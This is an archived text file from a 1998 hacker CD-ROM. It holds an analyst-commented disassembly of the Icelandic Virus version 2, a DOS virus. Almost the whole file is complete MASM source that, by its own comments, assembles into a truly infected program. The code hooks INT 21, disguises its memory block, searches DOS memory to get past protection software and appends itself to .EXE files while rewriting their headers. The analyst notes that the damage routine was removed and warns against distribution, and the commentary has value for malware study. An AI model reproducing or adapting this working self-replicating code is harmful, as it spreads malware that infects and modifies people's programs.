home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / ice2.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  13.6 KB  |  495 lines

  1.  
  2.  
  3. ;       THE ICELANDIC VIRUS - VERSION 2
  4. ;
  5. ;       Disassembly done in July '89.
  6. ;
  7. ;       The author(s) of this program is(are) unknown, but it is of
  8. ;       Icelandic origin. 
  9. ;
  10. ;       All comments in this file were added by Fridrik Skulason,
  11. ;       University of Iceland/Computing Services.
  12. ;
  13. ;       INTERNET:     frisk@rhi.hi.is 
  14. ;       UUCP:         ...mcvax!hafro!rhi!frisk
  15. ;       BIX:          FRISK
  16. ;
  17. ;       To anyone who obtains this file - please be careful with it, I
  18. ;       would not like to see this virus be distributed too much. The code
  19. ;       is very clear, and the virus is quite well written. It would be VERY
  20. ;       easy to modify it to do something really harmful.
  21. ;
  22. ;       The virus has the following flaws:
  23. ;
  24. ;               It modifies the date of the program it infects, making
  25. ;               it easy to spot them.
  26. ;
  27. ;               It removes the Read-only attribute from files, but does
  28. ;               not restore it.
  29. ;
  30. ;       This version appears to do no damage at all. This, and the fact that
  31. ;       the author(s) sent me a copy probably indicates that it was just
  32. ;       designed to demonstrate that a virus like this could be written.
  33. ;
  34. ;       This file was created in the following way: 
  35. ;
  36. ;       I disassembled the new version and compared it to my disassembly
  37. ;       of version #1.
  38. ;
  39. ;       Any changes found were added to this file.
  40. ;
  41. VIRSIZ  EQU     128
  42.  
  43.         ASSUME CS:_TEXT,DS:NOTHING,SS:NOTHING,ES:NOTHING
  44. ;
  45. ;       This is a dummy "infected" program, so that this file,
  46. ;       when assembled (using MASM) will produce a "true" infected
  47. ;       program.
  48. ;
  49. _TEXT1  SEGMENT PARA PUBLIC 'CODE'
  50. _START  DB      0b4H,09H
  51.         PUSH    CS
  52.         POP     DS
  53.         MOV     DX,OFFSET STRING
  54.         INT     21H
  55.         MOV     AX,4C00H
  56.         INT     21H
  57. STRING  DB      "Hello world!",0dh,0ah,"$"
  58.  _TEXT1 ENDS
  59.  
  60. _TEXT SEGMENT PARA PUBLIC 'CODE'
  61.  
  62. ;
  63. ;       The virus is basically divided in two parts.
  64. ;
  65. ;       1. The main program - run when an infected program is run. 
  66. ;          It will check if the system is already infected, and if not
  67. ;          it will install the virus.
  68. ;
  69. ;       2. The new INT 21 handler. It will look for EXEC calls, and
  70. ;          (sometimes) infect the program being run.
  71. ;          
  72. VIRUS   PROC FAR
  73. ;
  74. ;       This is a fake MCB
  75. ;
  76.         DB      'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
  77. ;
  78. ;       The virus starts by pushing the original start address on the stack,
  79. ;       so it can transfer control there when finished.
  80. ;
  81. LABEL1: SUB     SP,4
  82.         PUSH    BP
  83.         MOV     BP,SP
  84.         PUSH    AX
  85.         MOV     AX,ES
  86. ;
  87. ;       Put the the original CS on the stack. The ADD AX,data instruction
  88. ;       is modified by the virus when it infects other programs.
  89. ;
  90.         DB      05H     
  91. ORG_CS  DW      0010H
  92.         MOV     [BP+4],AX
  93. ;
  94. ;       Put the the original IP on the stack. This MOV [BP+2],data instruction
  95. ;       is modified by the virus when it infects other programs.
  96. ;
  97.         DB      0C7H,46H,02H
  98. ORG_IP  DW      0000H
  99. ;
  100. ;       Save all registers that are modified.
  101. ;
  102.         PUSH    ES
  103.         PUSH    DS      
  104.         PUSH    BX
  105.         PUSH    CX
  106.         PUSH    SI
  107.         PUSH    DI
  108. ;
  109. ;       Check if already installed. Quit if so.
  110. ;
  111.         XOR     AX,AX
  112.         MOV     ES,AX
  113.         CMP     ES:[37FH],BYTE PTR 0FFH 
  114.         JNE     L1
  115. ;
  116. ;       Restore all registers and return to the original program.
  117. ;
  118. EXIT:   POP     DI
  119.         POP     SI
  120.         POP     CX
  121.         POP     BX
  122.         POP     DS
  123.         POP     ES
  124.         POP     AX
  125.         POP     BP
  126.         RET
  127. ;
  128. ;       The code to check if INT 13 contains something other than
  129. ;       0070 or F000 has been removed.
  130. ;
  131. ;       Set the installation flag, so infected programs run later will
  132. ;       recognize the infection.
  133. ;
  134. L1:     MOV     ES:[37FH],BYTE PTR 0FFH
  135. ;
  136. ;       The virus tries to hide from detection by modifying the memory block it
  137. ;       uses, so it seems to be a block that belongs to the operating system.
  138. ;
  139. ;       It looks rather weird, but it seems to work. 
  140. ;
  141.         MOV     AH,52H                  
  142.         INT     21H                     
  143. ;
  144. ;       The next line is new - the virus obtains the segment of the
  145. ;       IBMDOS.COM/MSDOS.SYS program.
  146. ;
  147.         MOV     CS:[DOSSEG],ES
  148. ;
  149. ;       Back to modification
  150. ;
  151.         MOV     AX,ES:[BX-2]            
  152.         MOV     ES,AX                   
  153.         ADD     AX,ES:[0003]            
  154.         INC     AX                      
  155.         INC     AX                      
  156.         MOV     CS:[0001],AX
  157. ;
  158. ;       Next, the virus modifies the memory block of the infected program.
  159. ;       It is made smaller, and no longer the last block.
  160. ;
  161.         MOV     BX,DS                   
  162.         DEC     BX                      
  163.         MOV     DS,BX
  164.         MOV     AL,'M'
  165.         MOV     DS:[0000],AL
  166.         MOV     AX,DS:[0003]
  167.         SUB     AX,VIRSIZ
  168.         MOV     DS:[0003],AX
  169.         ADD     BX,AX
  170.         INC     BX
  171. ;
  172. ;       Then the virus moves itself to the new block. For some reason 2000
  173. ;       bytes are transferred, when much less would be enough. Maybe the author just
  174. ;       wanted to leave room for future expansions.
  175. ;
  176.         MOV     ES,BX
  177.         XOR     SI,SI
  178.         XOR     DI,DI
  179.         PUSH    CS
  180.         POP     DS
  181.         MOV     CX,2000
  182.         CLD
  183.         REP     MOVSB
  184. ;
  185. ;       The virus then transfers control to the new copy of itself.
  186. ;
  187.         PUSH    ES
  188.         MOV     AX,OFFSET L2
  189.         PUSH    AX
  190.         RET                             
  191. ;
  192. ;       This part of the program is new. It tries to bypass protection
  193. ;       programs, by obtaining the original INT 21 address. It searches
  194. ;       for the byte sequence 2E 3A 26, which (in DOS 3.1 and 3.3) is the
  195. ;       beginning of the original interrupt (probably also in 3.2 - I do
  196. ;       not have a copy of that)
  197. ;
  198. L2:     MOV     DS,CS:[DOSSEG]
  199.         MOV     CX,3000H
  200.         MOV     SI,0
  201.         MOV     AX,3A2EH
  202. L3:     CMP     AX,[SI]
  203.         JE      L3A
  204. L3C:    INC     SI
  205.         LOOP    L3
  206. ;
  207. ;       If that fails, it searches for 80 FC 63   (used in 3.0)
  208. ;                                      80 FC 4B   (used in 2.0)
  209. ;                                      80 FC F8   (This looks very odd -
  210. ;       I have no idea what DOS version this might be.)
  211. ;
  212.         MOV     CX,3000H
  213.         MOV     SI,0
  214.         MOV     AX,0FC80H
  215. L3D:    CMP     AX,[SI]
  216.         JE      L3F
  217. L3E:    INC     SI
  218.         LOOP    L3D
  219. ;
  220. ;       Start of DOS not found - Give up (but remain in memory)
  221. ;
  222.         JMP     EXIT
  223.  
  224. L3A:    CMP     BYTE PTR[SI+2],26H
  225.         JE      L3B
  226.         JMP     L3C
  227. L3F:    CMP     BYTE PTR[SI+2],63H
  228.         JE      L3B
  229.         CMP     BYTE PTR[SI+2],4BH
  230.         JE      L3B
  231.         CMP     BYTE PTR[SI+2],0F8H
  232.         JE      L3B
  233.         JMP     L3E
  234. L3B:    MOV     CS:[DOSPC],SI
  235. ;
  236. ;       The main program modifies INT 21 next and finally returns to the
  237. ;       original program. The original INT 21 vector is stored inside the
  238. ;       program so a JMP [OLD INT21] instruction can be used.
  239. ;
  240.         XOR     AX,AX
  241.         MOV     ES,AX
  242.         MOV     AX,ES:[0084H]
  243.         MOV     CS:[OLD21],AX
  244.         MOV     AX,ES:[0086H]
  245.         MOV     CS:[OLD21+2],AX
  246.         MOV     AX,CS
  247.         MOV     ES:[0086H],AX
  248.         MOV     AX,OFFSET NEW21
  249.         MOV     ES:[0084H],AX
  250.         JMP     EXIT
  251. VIRUS   ENDP
  252. ;
  253. ;       This is the INT 21 replacement. It only does something in the case
  254. ;       of an EXEC call.
  255. ;
  256. NEW21   PROC FAR                        
  257.         CMP     AH,4BH                  
  258.         JE      L5
  259. L4:     DB      0EAH
  260. OLD21   DW      0,0
  261. ;
  262. ;       Only attack every tenth program run.
  263. ;
  264. L5:     DEC     CS:[COUNTER]
  265.         JNE     L4
  266.         MOV     CS:[COUNTER],10
  267. ;
  268. ;       Save all affected registers.
  269. ;
  270.         PUSH    AX
  271.         PUSH    BX
  272.         PUSH    CX
  273.         PUSH    DX
  274.         PUSH    SI
  275.         PUSH    DS
  276. ;
  277. ;       Search for the file name extension ...
  278. ;
  279.         MOV     BX,DX
  280. L6:     INC     BX
  281.         CMP     BYTE PTR [BX],'.'
  282.         JE      L8
  283.         CMP     BYTE PTR [BX],0
  284.         JNE     L6
  285. ;
  286. ;       ... and quit unless it starts with "EX".
  287. ;
  288. L7:     POP     DS
  289.         POP     SI
  290.         POP     DX
  291.         POP     CX
  292.         POP     BX
  293.         POP     AX
  294.         JMP     L4
  295. L8:     INC     BX
  296.         CMP     WORD PTR [BX],5845H
  297.         JNE     L7
  298. ;
  299. ;       When an .EXE file is found, the virus starts by turning off
  300. ;       the read-only attribute. The read-only attribute is not restored
  301. ;       when the file has been infected.
  302. ;
  303. ;       Here, as elsewhere, the INT 21 instructions have been replaced
  304. ;       by      PUSHF/CALL DWORD PTR CS:[DOSPC]
  305. ;
  306.         MOV     AX,4300H                ; Get attribute
  307.         PUSHF
  308.         CALL    DWORD PTR CS:[DOSPC]
  309.         JC      L7
  310.         MOV     AX,4301H                ; Set attribute
  311.         AND     CX,0FEH
  312.         PUSHF
  313.         CALL    DWORD PTR CS:[DOSPC]
  314.         JC      L7
  315. ;
  316. ;       Next, the file is examined to see if it is already infected.
  317. ;       The signature (4418 5F19) is stored in the last two words.
  318. ;
  319.         MOV     AX,3D02H                ; Open / write access
  320.         PUSHF
  321.         CALL    DWORD PTR CS:[DOSPC]
  322.         JC      L7
  323.         MOV     BX,AX                   ; file handle in BX
  324.         PUSH    CS                      ; now DS is no longer needed
  325.         POP     DS
  326. ;
  327. ;       The header of the file is read in at [ID+8]. The virus then
  328. ;       modifies itself, according to the information stored in the
  329. ;       header. (The original CS and IP addressed are stored).
  330. ;
  331.         MOV     DX,OFFSET ID+8
  332.         MOV     CX,1CH
  333.         MOV     AH,3FH
  334.         PUSHF
  335.         CALL    DWORD PTR CS:[DOSPC]
  336.         JC      L9
  337.         MOV     AX,DS:ID[1CH]
  338.         MOV     DS:[ORG_IP],AX
  339.         MOV     AX,DS:ID[1EH]
  340.         ADD     AX,10H
  341.         MOV     DS:[ORG_CS],AX
  342. ;
  343. ;       Next the read/write pointer is moved to the end of the file-4,
  344. ;       and the last 4 bytes read. They are compared to the signature,
  345. ;       and if equal nothing happens.
  346. ;
  347.         MOV     AX,4202H
  348.         MOV     CX,-1
  349.         MOV     DX,-4
  350.         PUSHF
  351.         CALL    DWORD PTR CS:[DOSPC]
  352.         JC      L9
  353.         ADD     AX,4    
  354.         MOV     DS:[LEN_LO],AX
  355.         JNC     L8A
  356.         INC     DX
  357. L8A:    MOV     DS:[LEN_HI],DX
  358.  
  359.         MOV     AH,3FH
  360.         MOV     CX,4
  361.         MOV     DX,OFFSET ID+4
  362.         PUSHF
  363.         CALL    DWORD PTR CS:[DOSPC]
  364.         JNC     L11
  365. L9:     MOV     AH,3EH
  366.         PUSHF
  367.         CALL    DWORD PTR CS:[DOSPC]
  368. L10:    JMP     L7
  369. ;
  370. ;       Compare to 4418,5F19
  371. ;
  372. L11:    MOV     SI,OFFSET ID+4
  373.         MOV     AX,[SI]
  374.         CMP     AX,4418H
  375.         JNE     L12
  376.         MOV     AX,[SI+2]
  377.         CMP     AX,5F19H
  378.         JE      L9
  379. ;
  380. ;       The file is not infected, so the next thing the virus does is
  381. ;       infecting it. First it is padded so the length becomes a multiple
  382. ;       of 16 bytes. This is probably done so the virus code can start at a
  383. ;       paragraph boundary.
  384. ;
  385. L12:    MOV     AX,DS:[LEN_LO]
  386.         AND     AX,0FH
  387.         JZ      L13
  388.         MOV     CX,16
  389.         SUB     CX,AX
  390.         ADD     DS:[LEN_LO],CX
  391.         JNC     L12A
  392.         INC     DS:[LEN_HI]
  393. L12A:   MOV     AH,40H
  394.         PUSHF
  395.         CALL    DWORD PTR CS:[DOSPC]
  396.         JC      L9
  397. ;
  398. ;       Next the main body of the virus is written to the end.
  399. ;
  400. L13:    XOR     DX,DX
  401.         MOV     CX,OFFSET ID + 4
  402.         MOV     AH,40H
  403.         PUSHF
  404.         CALL    DWORD PTR CS:[DOSPC]
  405.         JC      L9
  406. ;
  407. ;       Next the .EXE file header is modified:
  408. ;
  409. ;       First modify initial IP
  410. ;
  411.         MOV     AX,OFFSET LABEL1
  412.         MOV     DS:ID[1CH],AX
  413. ;
  414. ;       Modify starting CS = Virus CS. It is computed as:
  415. ;
  416. ;       (Original length of file+padding)/16 - Start of load module
  417. ;
  418.         MOV     DX,DS:[LEN_HI]
  419.         MOV     AX,DS:[LEN_LO]
  420.         SHR     DX,1
  421.         RCR     AX,1
  422.         SHR     DX,1
  423.         RCR     AX,1
  424.         SHR     DX,1
  425.         RCR     AX,1
  426.         SHR     DX,1
  427.         RCR     AX,1
  428.         SUB     AX,DS:ID[10H]
  429.         MOV     DS:ID[1EH],AX
  430. ;
  431. ;       Modify length mod 512
  432. ;
  433.         ADD     DS:[LEN_LO],OFFSET ID+4
  434.         JNC     L14
  435.         INC     DS:[LEN_HI]
  436. L14:    MOV     AX,DS:[LEN_LO]
  437.         AND     AX,511
  438.         MOV     DS:ID[0AH],AX
  439. ;
  440. ;       Modify number of blocks used
  441. ;
  442.         MOV     DX,DS:[LEN_HI]
  443.         MOV     AX,DS:[LEN_LO]
  444.         ADD     AX,511
  445.         JNC     L14A
  446.         INC     DX
  447. L14A:   MOV     AL,AH
  448.         MOV     AH,DL
  449.         SHR     AX,1
  450.         MOV     DS:ID[0CH],AX
  451. ;
  452. ;       Finally the modified header is written back to the start of the
  453. ;       file.
  454. ;
  455. QQQ:    MOV     AX,4200H
  456.         XOR     CX,CX
  457.         XOR     DX,DX
  458.         PUSHF
  459.         CALL    DWORD PTR CS:[DOSPC]
  460.         JC      ENDIT
  461.         MOV     AH,40H
  462.         MOV     DX,OFFSET ID+8
  463.         MOV     CX,1CH
  464.         PUSHF
  465.         CALL    DWORD PTR CS:[DOSPC]
  466.         JC      ENDIT
  467.         MOV     AH,3EH
  468.         PUSHF
  469.         CALL    DWORD PTR CS:[DOSPC]
  470. ;
  471. ;       Infection is finished - close the file and execute it.
  472. ;
  473. ENDIT:  JMP     L9
  474. ;
  475. ;       The damage section located here has been removed.
  476. ;
  477.  
  478. NEW21   ENDP
  479.  
  480. DOSPC   DW      ?
  481.  
  482. DOSSEG   DW   ?
  483. COUNTER DB      10
  484. LEN_LO  DW      ?
  485. LEN_HI  DW      ?
  486. ID      DW      4418H,5F19H             ; The signature of the virus.
  487. ;
  488. ;       A buffer, used for data from the file.
  489. ;
  490. _TEXT   ENDS
  491.  
  492.         END LABEL1
  493.  
  494.  
  495.